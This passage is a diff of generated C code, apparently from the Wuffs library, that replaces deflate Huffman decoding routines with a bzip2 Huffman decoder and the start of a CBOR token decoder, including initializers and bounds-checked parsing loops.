v_lmask)]; +- v_table_entry_n_bits = (v_table_entry & 15u); +- v_bits >>= v_table_entry_n_bits; +- v_n_bits -= v_table_entry_n_bits; +- if ((v_table_entry >> 31u) != 0u) { +- (wuffs_base__poke_u8be__no_bounds_check(iop_a_dst, ((uint8_t)((v_table_entry >> 8u)))), iop_a_dst += 1); +- continue; +- } else if ((v_table_entry >> 30u) != 0u) { +- } else if ((v_table_entry >> 29u) != 0u) { +- self->private_impl.f_end_of_block = true; +- break; +- } else if ((v_table_entry >> 28u) != 0u) { +- v_redir_top = ((v_table_entry >> 8u) & 65535u); +- v_redir_mask = ((((uint32_t)(1u)) << ((v_table_entry >> 4u) & 15u)) - 1u); +- v_table_entry = self->private_data.f_huffs[0u][((v_redir_top + (((uint32_t)(v_bits)) & v_redir_mask)) & 1023u)]; +- v_table_entry_n_bits = (v_table_entry & 15u); +- v_bits >>= v_table_entry_n_bits; +- v_n_bits -= v_table_entry_n_bits; +- if ((v_table_entry >> 31u) != 0u) { +- (wuffs_base__poke_u8be__no_bounds_check(iop_a_dst, ((uint8_t)((v_table_entry >> 8u)))), iop_a_dst += 1); +- continue; +- } else if ((v_table_entry >> 30u) != 0u) { +- } else if ((v_table_entry >> 29u) != 0u) { +- self->private_impl.f_end_of_block = true; +- break; +- } else if ((v_table_entry >> 28u) != 0u) { +- status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); +- goto exit; +- } else if ((v_table_entry >> 27u) != 0u) { +- status = wuffs_base__make_status(wuffs_deflate__error__bad_huffman_code); +- goto exit; ++ switch (coro_susp_point) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++ ++ while ( ! (self->private_impl.p_decode_huffman_slow != 0)) { ++ if (self->private_impl.f_decode_huffman_ticks > 0u) { ++ self->private_impl.f_decode_huffman_ticks -= 1u; + } else { +- status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); +- goto exit; +- } +- } else if ((v_table_entry >> 27u) != 0u) { +- status = wuffs_base__make_status(wuffs_deflate__error__bad_huffman_code); +- goto exit; +- } else { +- status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); +- goto exit; +- } +- v_length = (((v_table_entry >> 8u) & 255u) + 3u); +- v_table_entry_n_bits = ((v_table_entry >> 4u) & 15u); +- if (v_table_entry_n_bits > 0u) { +- v_length = (((v_length + 253u + ((uint32_t)(((v_bits) & WUFFS_BASE__LOW_BITS_MASK__U64(v_table_entry_n_bits))))) & 255u) + 3u); +- v_bits >>= v_table_entry_n_bits; +- v_n_bits -= v_table_entry_n_bits; +- } +- v_table_entry = self->private_data.f_huffs[1u][(v_bits & v_dmask)]; +- v_table_entry_n_bits = (v_table_entry & 15u); +- v_bits >>= v_table_entry_n_bits; +- v_n_bits -= v_table_entry_n_bits; +- if ((v_table_entry >> 28u) == 1u) { +- v_redir_top = ((v_table_entry >> 8u) & 65535u); +- v_redir_mask = ((((uint32_t)(1u)) << ((v_table_entry >> 4u) & 15u)) - 1u); +- v_table_entry = self->private_data.f_huffs[1u][((v_redir_top + (((uint32_t)(v_bits)) & v_redir_mask)) & 1023u)]; +- v_table_entry_n_bits = (v_table_entry & 15u); +- v_bits >>= v_table_entry_n_bits; +- v_n_bits -= v_table_entry_n_bits; +- } +- if ((v_table_entry >> 24u) != 64u) { +- if ((v_table_entry >> 24u) == 8u) { +- status = wuffs_base__make_status(wuffs_deflate__error__bad_huffman_code); +- goto exit; ++ self->private_impl.f_decode_huffman_ticks = 49u; ++ self->private_impl.f_decode_huffman_section += 1u; ++ if (self->private_impl.f_decode_huffman_section >= self->private_impl.f_num_sections) { ++ status = wuffs_base__make_status(wuffs_bzip2__error__bad_number_of_sections); ++ goto exit; ++ } ++ self->private_impl.f_decode_huffman_which = WUFFS_BZIP2__CLAMP_TO_5[((uint8_t)(self->private_data.f_huffman_selectors[(self->private_impl.f_decode_huffman_section & 32767u)] & 7u))]; + } +- status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); +- goto exit; +- } +- v_dist_minus_1 = ((v_table_entry >> 8u) & 32767u); +- v_table_entry_n_bits = ((v_table_entry >> 4u) & 15u); +- v_dist_minus_1 = ((v_dist_minus_1 + ((uint32_t)(((v_bits) & WUFFS_BASE__LOW_BITS_MASK__U64(v_table_entry_n_bits))))) & 32767u); +- v_bits >>= v_table_entry_n_bits; +- v_n_bits -= v_table_entry_n_bits; +- do { +- if (((uint64_t)((v_dist_minus_1 + 1u))) > ((uint64_t)(iop_a_dst - io0_a_dst))) { +- v_hlen = 0u; +- v_hdist = ((uint32_t)((((uint64_t)((v_dist_minus_1 + 1u))) - ((uint64_t)(iop_a_dst - io0_a_dst))))); +- if (v_length > v_hdist) { +- v_length -= v_hdist; +- v_hlen = v_hdist; +- } else { +- v_hlen = v_length; +- v_length = 0u; ++ v_node_index = 0u; ++ while (true) { ++ if (self->private_impl.f_n_bits <= 0u) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_0 = *iop_a_src++; ++ v_c8 = t_0; ++ } ++ self->private_impl.f_bits = (((uint32_t)(v_c8)) << 24u); ++ self->private_impl.f_n_bits = 8u; + } +- v_hdist += v_hdist_adjustment; +- if (self->private_impl.f_history_index < v_hdist) { +- status = wuffs_base__make_status(wuffs_deflate__error__bad_distance); +- goto exit; ++ v_child = self->private_data.f_huffman_trees[self->private_impl.f_decode_huffman_which][v_node_index][(self->private_impl.f_bits >> 31u)]; ++ self->private_impl.f_bits <<= 1u; ++ self->private_impl.f_n_bits -= 1u; ++ if (v_child < 257u) { ++ v_node_index = ((uint32_t)(v_child)); ++ continue; ++ } else if (v_child < 768u) { ++ v_child_ff = ((uint32_t)(((uint16_t)(v_child & 255u)))); ++ v_output = ((uint32_t)(self->private_data.f_mtft[v_child_ff])); ++ wuffs_private_impl__slice_u8__copy_from_slice(wuffs_base__make_slice_u8_ij(self->private_data.f_mtft, 1, (1u + v_child_ff)), wuffs_base__make_slice_u8(self->private_data.f_mtft, v_child_ff)); ++ self->private_data.f_mtft[0u] = ((uint8_t)(v_output)); ++ self->private_data.f_letter_counts[v_output] += 1u; ++ self->private_data.f_bwt[self->private_impl.f_block_size] = v_output; ++ if (self->private_impl.f_block_size >= self->private_impl.f_max_incl_block_size) { ++ status = wuffs_base__make_status(wuffs_bzip2__error__bad_block_length); ++ goto exit; ++ } ++ self->private_impl.f_block_size += 1u; ++ self->private_impl.f_decode_huffman_run_shift = 0u; ++ break; ++ } else if (v_child == 768u) { ++ self->private_impl.f_decode_huffman_finished = true; ++ goto label__outer__break; + } +- wuffs_base__io_writer__limited_copy_u32_from_slice( +- &iop_a_dst, io2_a_dst,v_hlen, wuffs_base__make_slice_u8_ij(self->private_data.f_history, ((self->private_impl.f_history_index - v_hdist) & 32767u), 33025)); +- if (v_length == 0u) { +- goto label__loop__continue; ++ if (self->private_impl.f_decode_huffman_run_shift >= 23u) { ++ status = wuffs_base__make_status(wuffs_bzip2__error__bad_block_length); ++ goto exit; + } +- if ((((uint64_t)((v_dist_minus_1 + 1u))) > ((uint64_t)(iop_a_dst - io0_a_dst))) || (((uint64_t)(v_length)) > ((uint64_t)(io2_a_dst - iop_a_dst))) || (((uint64_t)((v_length + 8u))) > ((uint64_t)(io2_a_dst - iop_a_dst)))) { +- status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_distance); ++ v_run = ((((uint32_t)(v_child)) & 3u) << self->private_impl.f_decode_huffman_run_shift); ++ self->private_impl.f_decode_huffman_run_shift += 1u; ++ v_i = self->private_impl.f_block_size; ++ v_j = (v_run + self->private_impl.f_block_size); ++ if (v_j > self->private_impl.f_max_incl_block_size) { ++ status = wuffs_base__make_status(wuffs_bzip2__error__bad_block_length); + goto exit; + } ++ self->private_impl.f_block_size = v_j; ++ v_mtft0 = ((uint32_t)(self->private_data.f_mtft[0u])); ++ self->private_data.f_letter_counts[v_mtft0] += v_run; ++ while (v_i < v_j) { ++ self->private_data.f_bwt[v_i] = v_mtft0; ++ v_i += 1u; ++ } ++ break; + } +- if ((v_dist_minus_1 + 1u) >= 8u) { +- wuffs_base__io_writer__limited_copy_u32_from_history_8_byte_chunks_fast( +- &iop_a_dst, io0_a_dst, io2_a_dst, v_length, (v_dist_minus_1 + 1u)); +- } else if ((v_dist_minus_1 + 1u) == 1u) { +- wuffs_base__io_writer__limited_copy_u32_from_history_8_byte_chunks_distance_1_fast( +- &iop_a_dst, io0_a_dst, io2_a_dst, v_length, (v_dist_minus_1 + 1u)); +- } else { +- wuffs_base__io_writer__limited_copy_u32_from_history_fast( +- &iop_a_dst, io0_a_dst, io2_a_dst, v_length, (v_dist_minus_1 + 1u)); +- } +- } while (0); +- } +- if (v_n_bits > 63u) { +- status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_n_bits); +- goto exit; +- } +- while (v_n_bits >= 8u) { +- v_n_bits -= 8u; +- if (iop_a_src > io1_a_src) { +- iop_a_src--; +- } else { +- status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_i_o); +- goto exit; + } +- } +- self->private_impl.f_bits = ((uint32_t)((v_bits & ((((uint64_t)(1u)) << v_n_bits) - 1u)))); +- self->private_impl.f_n_bits = v_n_bits; +- if ((self->private_impl.f_n_bits >= 8u) || ((self->private_impl.f_bits >> self->private_impl.f_n_bits) != 0u)) { +- status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_n_bits); ++ label__outer__break:; ++ ++ goto ok; ++ ok: ++ self->private_impl.p_decode_huffman_slow = 0; + goto exit; + } ++ ++ goto suspend; ++ suspend: ++ self->private_impl.p_decode_huffman_slow = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_data.s_decode_huffman_slow.v_node_index = v_node_index; ++ + goto exit; + exit: +- if (a_dst && a_dst->data.ptr) { +- a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); +- } + if (a_src && a_src->data.ptr) { + a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); + } +@@ -36081,40 +35686,229 @@ wuffs_deflate__decoder__decode_huffman_fast64__choosy_default( + return status; + } + +-// -------- func deflate.decoder.decode_huffman_slow ++#endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__BZIP2) ++ ++#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__CBOR) ++ ++// ---------------- Status Codes Implementations ++ ++const char wuffs_cbor__error__bad_input[] = "#cbor: bad input"; ++const char wuffs_cbor__error__unsupported_recursion_depth[] = "#cbor: unsupported recursion depth"; ++const char wuffs_cbor__error__internal_error_inconsistent_i_o[] = "#cbor: internal error: inconsistent I/O"; ++const char wuffs_cbor__error__internal_error_inconsistent_token_length[] = "#cbor: internal error: inconsistent token length"; ++ ++// ---------------- Private Consts ++ ++static const uint32_t ++WUFFS_CBOR__LITERALS[4] WUFFS_BASE__POTENTIALLY_UNUSED = { ++ 8388612u, 8388616u, 8388610u, 8388609u, ++}; ++ ++static const uint8_t ++WUFFS_CBOR__TOKEN_LENGTHS[32] WUFFS_BASE__POTENTIALLY_UNUSED = { ++ 1u, 1u, 1u, 1u, 1u, 1u, 1u, 1u, ++ 1u, 1u, 1u, 1u, 1u, 1u, 1u, 1u, ++ 1u, 1u, 1u, 1u, 1u, 1u, 1u, 1u, ++ 2u, 3u, 5u, 9u, 0u, 0u, 0u, 1u, ++}; ++ ++// ---------------- Private Initializer Prototypes ++ ++// ---------------- Private Function Prototypes ++ ++// ---------------- VTables ++ ++const wuffs_base__token_decoder__func_ptrs ++wuffs_cbor__decoder__func_ptrs_for__wuffs_base__token_decoder = { ++ (wuffs_base__status(*)(void*, ++ wuffs_base__token_buffer*, ++ wuffs_base__io_buffer*, ++ wuffs_base__slice_u8))(&wuffs_cbor__decoder__decode_tokens), ++ (uint64_t(*)(const void*, ++ uint32_t))(&wuffs_cbor__decoder__get_quirk), ++ (wuffs_base__status(*)(void*, ++ uint32_t, ++ uint64_t))(&wuffs_cbor__decoder__set_quirk), ++ (wuffs_base__range_ii_u64(*)(const void*))(&wuffs_cbor__decoder__workbuf_len), ++}; ++ ++// ---------------- Initializer Implementations ++ ++wuffs_base__status WUFFS_BASE__WARN_UNUSED_RESULT ++wuffs_cbor__decoder__initialize( ++ wuffs_cbor__decoder* self, ++ size_t sizeof_star_self, ++ uint64_t wuffs_version, ++ uint32_t options){ ++ if (!self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_receiver); ++ } ++ if (sizeof(*self) != sizeof_star_self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_sizeof_receiver); ++ } ++ if (((wuffs_version >> 32) != WUFFS_VERSION_MAJOR) || ++ (((wuffs_version >> 16) & 0xFFFF) > WUFFS_VERSION_MINOR)) { ++ return wuffs_base__make_status(wuffs_base__error__bad_wuffs_version); ++ } ++ ++ if ((options & WUFFS_INITIALIZE__ALREADY_ZEROED) != 0) { ++ // The whole point of this if-check is to detect an uninitialized *self. ++ // We disable the warning on GCC. Clang-5.0 does not have this warning. ++#if !defined(__clang__) && defined(__GNUC__) ++#pragma GCC diagnostic push ++#pragma GCC diagnostic ignored "-Wmaybe-uninitialized" ++#endif ++ if (self->private_impl.magic != 0) { ++ return wuffs_base__make_status(wuffs_base__error__initialize_falsely_claimed_already_zeroed); ++ } ++#if !defined(__clang__) && defined(__GNUC__) ++#pragma GCC diagnostic pop ++#endif ++ } else { ++ if ((options & WUFFS_INITIALIZE__LEAVE_INTERNAL_BUFFERS_UNINITIALIZED) == 0) { ++ memset(self, 0, sizeof(*self)); ++ options |= WUFFS_INITIALIZE__ALREADY_ZEROED; ++ } else { ++ memset(&(self->private_impl), 0, sizeof(self->private_impl)); ++ } ++ } ++ ++ self->private_impl.magic = WUFFS_BASE__MAGIC; ++ self->private_impl.vtable_for__wuffs_base__token_decoder.vtable_name = ++ wuffs_base__token_decoder__vtable_name; ++ self->private_impl.vtable_for__wuffs_base__token_decoder.function_pointers = ++ (const void*)(&wuffs_cbor__decoder__func_ptrs_for__wuffs_base__token_decoder); ++ return wuffs_base__make_status(NULL); ++} ++ ++wuffs_cbor__decoder* ++wuffs_cbor__decoder__alloc(void) { ++ wuffs_cbor__decoder* x = ++ (wuffs_cbor__decoder*)(calloc(1, sizeof(wuffs_cbor__decoder))); ++ if (!x) { ++ return NULL; ++ } ++ if (wuffs_cbor__decoder__initialize( ++ x, sizeof(wuffs_cbor__decoder), WUFFS_VERSION, WUFFS_INITIALIZE__ALREADY_ZEROED).repr) { ++ free(x); ++ return NULL; ++ } ++ return x; ++} ++ ++size_t ++sizeof__wuffs_cbor__decoder(void) { ++ return sizeof(wuffs_cbor__decoder); ++} ++ ++// ---------------- Function Implementations ++ ++// -------- func cbor.decoder.get_quirk + + WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_deflate__decoder__decode_huffman_slow( +- wuffs_deflate__decoder* self, +- wuffs_base__io_buffer* a_dst, +- wuffs_base__io_buffer* a_src) { ++WUFFS_BASE__MAYBE_STATIC uint64_t ++wuffs_cbor__decoder__get_quirk( ++ const wuffs_cbor__decoder* self, ++ uint32_t a_key) { ++ if (!self) { ++ return 0; ++ } ++ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && ++ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { ++ return 0; ++ } ++ ++ return 0u; ++} ++ ++// -------- func cbor.decoder.set_quirk ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_cbor__decoder__set_quirk( ++ wuffs_cbor__decoder* self, ++ uint32_t a_key, ++ uint64_t a_value) { ++ if (!self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_receiver); ++ } ++ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { ++ return wuffs_base__make_status( ++ (self->private_impl.magic == WUFFS_BASE__DISABLED) ++ ? wuffs_base__error__disabled_by_previous_error ++ : wuffs_base__error__initialize_not_called); ++ } ++ ++ return wuffs_base__make_status(wuffs_base__error__unsupported_option); ++} ++ ++// -------- func cbor.decoder.workbuf_len ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__range_ii_u64 ++wuffs_cbor__decoder__workbuf_len( ++ const wuffs_cbor__decoder* self) { ++ if (!self) { ++ return wuffs_base__utility__empty_range_ii_u64(); ++ } ++ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && ++ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { ++ return wuffs_base__utility__empty_range_ii_u64(); ++ } ++ ++ return wuffs_base__utility__empty_range_ii_u64(); ++} ++ ++// -------- func cbor.decoder.decode_tokens ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_cbor__decoder__decode_tokens( ++ wuffs_cbor__decoder* self, ++ wuffs_base__token_buffer* a_dst, ++ wuffs_base__io_buffer* a_src, ++ wuffs_base__slice_u8 a_workbuf) { ++ if (!self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_receiver); ++ } ++ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { ++ return wuffs_base__make_status( ++ (self->private_impl.magic == WUFFS_BASE__DISABLED) ++ ? wuffs_base__error__disabled_by_previous_error ++ : wuffs_base__error__initialize_not_called); ++ } ++ if (!a_dst || !a_src) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ return wuffs_base__make_status(wuffs_base__error__bad_argument); ++ } ++ if ((self->private_impl.active_coroutine != 0) && ++ (self->private_impl.active_coroutine != 1)) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); ++ } ++ self->private_impl.active_coroutine = 0; + wuffs_base__status status = wuffs_base__make_status(NULL); + +- uint32_t v_bits = 0; +- uint32_t v_n_bits = 0; +- uint32_t v_table_entry = 0; +- uint32_t v_table_entry_n_bits = 0; +- uint32_t v_lmask = 0; +- uint32_t v_dmask = 0; +- uint32_t v_b0 = 0; +- uint32_t v_redir_top = 0; +- uint32_t v_redir_mask = 0; +- uint32_t v_b1 = 0; +- uint32_t v_length = 0; +- uint32_t v_b2 = 0; +- uint32_t v_b3 = 0; +- uint32_t v_b4 = 0; +- uint32_t v_dist_minus_1 = 0; +- uint32_t v_b5 = 0; +- uint32_t v_n_copied = 0; +- uint32_t v_hlen = 0; +- uint32_t v_hdist = 0; ++ uint64_t v_string_length = 0; ++ uint64_t v_n64 = 0; ++ uint32_t v_depth = 0; ++ uint32_t v_stack_byte = 0; ++ uint32_t v_stack_bit = 0; ++ uint32_t v_stack_val = 0; ++ uint32_t v_token_length = 0; ++ uint32_t v_vminor = 0; ++ uint32_t v_vminor_alt = 0; ++ uint32_t v_continued = 0; ++ uint8_t v_c8 = 0; ++ uint8_t v_c_major = 0; ++ uint8_t v_c_minor = 0; ++ bool v_tagged = false; ++ uint8_t v_indefinite_string_major_type = 0; + +- uint8_t* iop_a_dst = NULL; +- uint8_t* io0_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- uint8_t* io1_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- uint8_t* io2_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ wuffs_base__token* iop_a_dst = NULL; ++ wuffs_base__token* io0_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ wuffs_base__token* io1_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ wuffs_base__token* io2_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; + if (a_dst && a_dst->data.ptr) { + io0_a_dst = a_dst->data.ptr; + io1_a_dst = io0_a_dst + a_dst->meta.wi; +@@ -36135,269 +35929,513 @@ wuffs_deflate__decoder__decode_huffman_slow( + io2_a_src = io0_a_src + a_src->meta.wi; + } + +- uint32_t coro_susp_point = self->private_impl.p_decode_huffman_slow[0]; ++ uint32_t coro_susp_point = self->private_impl.p_decode_tokens; + if (coro_susp_point) { +- v_bits = self->private_data.s_decode_huffman_slow[0].v_bits; +- v_n_bits = self->private_data.s_decode_huffman_slow[0].v_n_bits; +- v_table_entry_n_bits = self->private_data.s_decode_huffman_slow[0].v_table_entry_n_bits; +- v_lmask = self->private_data.s_decode_huffman_slow[0].v_lmask; +- v_dmask = self->private_data.s_decode_huffman_slow[0].v_dmask; +- v_redir_top = self->private_data.s_decode_huffman_slow[0].v_redir_top; +- v_redir_mask = self->private_data.s_decode_huffman_slow[0].v_redir_mask; +- v_length = self->private_data.s_decode_huffman_slow[0].v_length; +- v_dist_minus_1 = self->private_data.s_decode_huffman_slow[0].v_dist_minus_1; ++ v_string_length = self->private_data.s_decode_tokens.v_string_length; ++ v_depth = self->private_data.s_decode_tokens.v_depth; ++ v_tagged = self->private_data.s_decode_tokens.v_tagged; ++ v_indefinite_string_major_type = self->private_data.s_decode_tokens.v_indefinite_string_major_type; + } + switch (coro_susp_point) { + WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; + +- if ((self->private_impl.f_n_bits >= 8u) || ((self->private_impl.f_bits >> (self->private_impl.f_n_bits & 7u)) != 0u)) { +- status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_n_bits); +- goto exit; ++ if (self->private_impl.f_end_of_data) { ++ status = wuffs_base__make_status(wuffs_base__note__end_of_data); ++ goto ok; + } +- v_bits = self->private_impl.f_bits; +- v_n_bits = self->private_impl.f_n_bits; +- v_lmask = ((((uint32_t)(1u)) << self->private_impl.f_n_huffs_bits[0u]) - 1u); +- v_dmask = ((((uint32_t)(1u)) << self->private_impl.f_n_huffs_bits[1u]) - 1u); +- label__loop__continue:; +- while ( ! (self->private_impl.p_decode_huffman_slow[0] != 0)) { ++ label__outer__continue:; ++ while (true) { + while (true) { +- v_table_entry = self->private_data.f_huffs[0u][(v_bits & v_lmask)]; +- v_table_entry_n_bits = (v_table_entry & 15u); +- if (v_n_bits >= v_table_entry_n_bits) { +- v_bits >>= v_table_entry_n_bits; +- v_n_bits -= v_table_entry_n_bits; +- break; +- } +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; ++ do { ++ if (((uint64_t)(io2_a_dst - iop_a_dst)) <= 1u) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_write); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); ++ goto label__outer__continue; + } +- uint32_t t_0 = *iop_a_src++; +- v_b0 = t_0; +- } +- v_bits |= (v_b0 << v_n_bits); +- v_n_bits += 8u; +- } +- if ((v_table_entry >> 31u) != 0u) { +- self->private_data.s_decode_huffman_slow[0].scratch = ((uint8_t)((v_table_entry >> 8u))); +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); +- if (iop_a_dst == io2_a_dst) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_write); +- goto suspend; +- } +- *iop_a_dst++ = ((uint8_t)(self->private_data.s_decode_huffman_slow[0].scratch)); +- continue; +- } else if ((v_table_entry >> 30u) != 0u) { +- } else if ((v_table_entry >> 29u) != 0u) { +- self->private_impl.f_end_of_block = true; +- break; +- } else if ((v_table_entry >> 28u) != 0u) { +- v_redir_top = ((v_table_entry >> 8u) & 65535u); +- v_redir_mask = ((((uint32_t)(1u)) << ((v_table_entry >> 4u) & 15u)) - 1u); +- while (true) { +- v_table_entry = self->private_data.f_huffs[0u][((v_redir_top + (v_bits & v_redir_mask)) & 1023u)]; +- v_table_entry_n_bits = (v_table_entry & 15u); +- if (v_n_bits >= v_table_entry_n_bits) { +- v_bits >>= v_table_entry_n_bits; +- v_n_bits -= v_table_entry_n_bits; +- break; ++ if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { ++ if (a_src && a_src->meta.closed) { ++ status = wuffs_base__make_status(wuffs_cbor__error__bad_input); ++ goto exit; ++ } ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(2); ++ goto label__outer__continue; + } +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; ++ v_c8 = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); ++ if ((v_indefinite_string_major_type != 0u) && (v_indefinite_string_major_type != ((uint8_t)(v_c8 >> 5u)))) { ++ if (v_c8 != 255u) { ++ status = wuffs_base__make_status(wuffs_cbor__error__bad_input); ++ goto exit; + } +- uint32_t t_1 = *iop_a_src++; +- v_b1 = t_1; ++ v_vminor = 4194560u; ++ if (v_indefinite_string_major_type == 3u) { ++ v_vminor |= 19u; ++ } ++ v_indefinite_string_major_type = 0u; ++ iop_a_src += 1u; ++ *iop_a_dst++ = wuffs_base__make_token( ++ (((uint64_t)(v_vminor)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | ++ (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); ++ goto label__goto_parsed_a_leaf_value__break; + } +- v_bits |= (v_b1 << v_n_bits); +- v_n_bits += 8u; +- } +- if ((v_table_entry >> 31u) != 0u) { +- self->private_data.s_decode_huffman_slow[0].scratch = ((uint8_t)((v_table_entry >> 8u))); +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); +- if (iop_a_dst == io2_a_dst) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_write); +- goto suspend; ++ iop_a_src += 1u; ++ v_c_major = ((uint8_t)(((uint8_t)(v_c8 >> 5u)))); ++ v_c_minor = ((uint8_t)(v_c8 & 31u)); ++ if (v_c_minor < 24u) { ++ v_string_length = ((uint64_t)(v_c_minor)); ++ } else { ++ while (true) { ++ if (v_c_minor == 24u) { ++ if (((uint64_t)(io2_a_src - iop_a_src)) >= 1u) { ++ v_string_length = ((uint64_t)(wuffs_base__peek_u8be__no_bounds_check(iop_a_src))); ++ iop_a_src += 1u; ++ break; ++ } ++ } else if (v_c_minor == 25u) { ++ if (((uint64_t)(io2_a_src - iop_a_src)) >= 2u) { ++ v_string_length = ((uint64_t)(wuffs_base__peek_u16be__no_bounds_check(iop_a_src))); ++ iop_a_src += 2u; ++ break; ++ } ++ } else if (v_c_minor == 26u) { ++ if (((uint64_t)(io2_a_src - iop_a_src)) >= 4u) { ++ v_string_length = ((uint64_t)(wuffs_base__peek_u32be__no_bounds_check(iop_a_src))); ++ iop_a_src += 4u; ++ break; ++ } ++ } else if (v_c_minor == 27u) { ++ if (((uint64_t)(io2_a_src - iop_a_src)) >= 8u) { ++ v_string_length = wuffs_base__peek_u64be__no_bounds_check(iop_a_src); ++ iop_a_src += 8u; ++ break; ++ } ++ } else { ++ v_string_length = 0u; ++ break; ++ } ++ if (iop_a_src > io1_a_src) { ++ iop_a_src--; ++ if (a_src && a_src->meta.closed) { ++ status = wuffs_base__make_status(wuffs_cbor__error__bad_input); ++ goto exit; ++ } ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(3); ++ goto label__outer__continue; ++ } ++ status = wuffs_base__make_status(wuffs_cbor__error__internal_error_inconsistent_i_o); ++ goto exit; ++ } + } +- *iop_a_dst++ = ((uint8_t)(self->private_data.s_decode_huffman_slow[0].scratch)); +- continue; +- } else if ((v_table_entry >> 30u) != 0u) { +- } else if ((v_table_entry >> 29u) != 0u) { +- self->private_impl.f_end_of_block = true; +- break; +- } else if ((v_table_entry >> 28u) != 0u) { +- status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); +- goto exit; +- } else if ((v_table_entry >> 27u) != 0u) { +- status = wuffs_base__make_status(wuffs_deflate__error__bad_huffman_code); +- goto exit; +- } else { +- status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); ++ if (v_c_major == 0u) { ++ if (v_c_minor < 26u) { ++ *iop_a_dst++ = wuffs_base__make_token( ++ (((uint64_t)((14680064u | ((uint32_t)((v_string_length & 65535u)))))) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | ++ (((uint64_t)(((uint32_t)(WUFFS_CBOR__TOKEN_LENGTHS[v_c_minor])))) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); ++ goto label__goto_parsed_a_leaf_value__break; ++ } else if (v_c_minor < 28u) { ++ *iop_a_dst++ = wuffs_base__make_token( ++ (((uint64_t)((14680064u | ((uint32_t)((v_string_length >> 46u)))))) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | ++ (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | ++ (((uint64_t)(0u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); ++ *iop_a_dst++ = wuffs_base__make_token( ++ (~(v_string_length & 70368744177663u) << WUFFS_BASE__TOKEN__VALUE_EXTENSION__SHIFT) | ++ (((uint64_t)(((uint32_t)(WUFFS_CBOR__TOKEN_LENGTHS[v_c_minor])))) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); ++ goto label__goto_parsed_a_leaf_value__break; ++ } ++ } 